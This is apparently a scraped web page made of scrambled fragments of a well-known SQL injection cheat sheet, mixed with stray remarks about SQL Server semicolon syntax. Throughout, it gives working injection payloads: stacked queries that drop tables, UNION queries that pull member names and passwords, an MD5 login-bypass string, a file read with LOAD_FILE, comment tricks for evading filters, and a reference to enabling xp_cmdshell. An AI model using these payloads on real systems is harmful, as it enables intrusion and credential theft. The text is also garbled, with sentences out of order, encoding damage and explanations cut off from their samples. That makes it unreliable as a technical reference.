SQL SERVER SQL STATEMENTS CODE BASES AND

Sql Server Sql Statements Code Bases And

(M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server This means that the long-term goal is to enforce use of the semicolon in a future version of the product.Samples are provided to allow you to get basic idea of a potential attack and almost every section includes a brief information about itself. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parenthesis, different code bases and unexpected, strange and complex SQL sentences.The SQL Server documentation indicates that not terminating T-SQL statements with a semicolon is a deprecated feature. Currently this SQL Cheat Sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLEВ and PostgreSQL SQL servers. We have updated it and moved it over from our CEO's blog. Each DBMS has varying levels of compliance with the SQL standard and so IвЂ™ve provided a link to a page that shows the specific syntax for each of the most popular RDBMSs.This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog.

Fast way to extract data from Error Based SQL Injections in SQL ServerSyntax Reference, Sample Attacks and Dirty SQL Injection Tricks Ending / Commenting Out / Line Comments Line CommentsLine comments are generally useful for ignoring rest of the query so you don't have to deal with fixing the syntax.Line Comments Sample SQL Injection Attacks Finding Database Structure in SQL Server Enabling xp_cmdshell in SQL Server 2005 If Statement SQL Injection Attack Samples Language / Database Stacked Query Support Table Classical Inline Comment SQL Injection Attack Samples

If you put a code into this comments it's going to execute in MySQL only. It's perfect for detecting MySQL version. SELECT/*avoid-spaces*/password/**/FROM/**/MembersThis is a special comment syntax for MySQL. DR/**/OP/*bypass blacklisting*/sampletable

This is very useful in every injection point, especially in SQL Server back ended applications.Ends a query and starts a new one. SELECTВ /*! 32302В 1/0, */В 1 FROM tablenameWill throw an divison by 0 errorВ if MySQL version is higher than 3.23.02You will get the same responseВ if MySQL version is higher than 3.23.02Will throw a division by 0 errorВ if MySQL version is higher than 3.23.02Executing more than one query in one transaction. Same as 10 DROP TABLE membersВ -

This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately. If StatementsGet response based on an if statement. SELECT * FROM products WHERE id = 10 DROP members-This will run DROP membersВ SQL sentence after normal SQL Query. Can someone clarify? Stacked SQL Injection Attack Samples Normally MySQL supports stacked queries but because of database layer in most of the configurations it's not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure.

Using IntegersVery useful for bypassing, magic_quotes() and similar filters, or even WAFs.SELECT 0x5045В ( this is not an integer it will be a string from Hex)В (M)SELECT 0x50 + 0x45В ( this is integer now!)В (M)String related operations. SELECT CASE WHEN conditionВ THEN true-partВ ELSE false-partВ END (P)SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END If Statement SQL Injection Attack SamplesIf ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0В (S)This will throw an divide by zero errorВ if current logged user is not 'sa' or 'dbo'. IF condition true-partВ ELSE false-partВ (S)IF (1=1) SELECT 'true' ELSE SELECT 'false'IF conditionВ THEN true-part ELSE false-part END IF END В (O)IF (1=1) THEN dbms_lock.sleep(3) ELSE dbms_lock.sleep(0) END IF END

Basically you can poison query to return records from another table.SELECT header, txt FROM news UNION ALL SELECT name, pass FROM membersThis will combine results from both news table and members table and return all of them.' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1- UNION вЂ“ Fixing Language IssuesWhile exploiting Union injections sometimes you get errors because of different language settings ( table settings, field settings, combined table / db settings etc.) these functions are quite useful to fix this problem. A must have function for Blind SQL Injections.With union you do SQL queries cross-table. SELECT LOAD_FILE(0x633A5C626F6F742E696E69)В (M)This will show the content of c:oot.iniReturns ASCII character value of leftmost character. 0x457578В (M) -В Hex Representation of stringThis will be selected as string in MySQL.In MySQL easy way to generate hex representations of strings use this SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))В (M) A better way to do it is using CONCAT()function in MySQL.SELECTВ CONCAT(login, password)В FROM membersThese are some direct ways to using strings but it's always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes. String ConcatenationSELECT loginВ + '-' +В password FROM membersIf MySQL is running in ANSI mode it's going to work but otherwise MySQL accept it as `logical operator` it'll return 0.

Bypassing MD5 Hash Check Example (MSP)Username : admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234) Error Based - Find Columns Names Finding Column Names with HAVING BYВ - Error Based (S) In this case application will compare your password and your supplied MD5 hash instead of MD5 from database. You can union results with a known password and MD5 hash of supplied password. Applications then you will see it.Use field COLLATE SQL_Latin1_General_Cp1254_CS_ASВ or some other valid one - check out SQL Server documentation.SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1-*Old versions of MySQL doesn't support union queries Bypassing second MD5 hash check login screensIf application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication.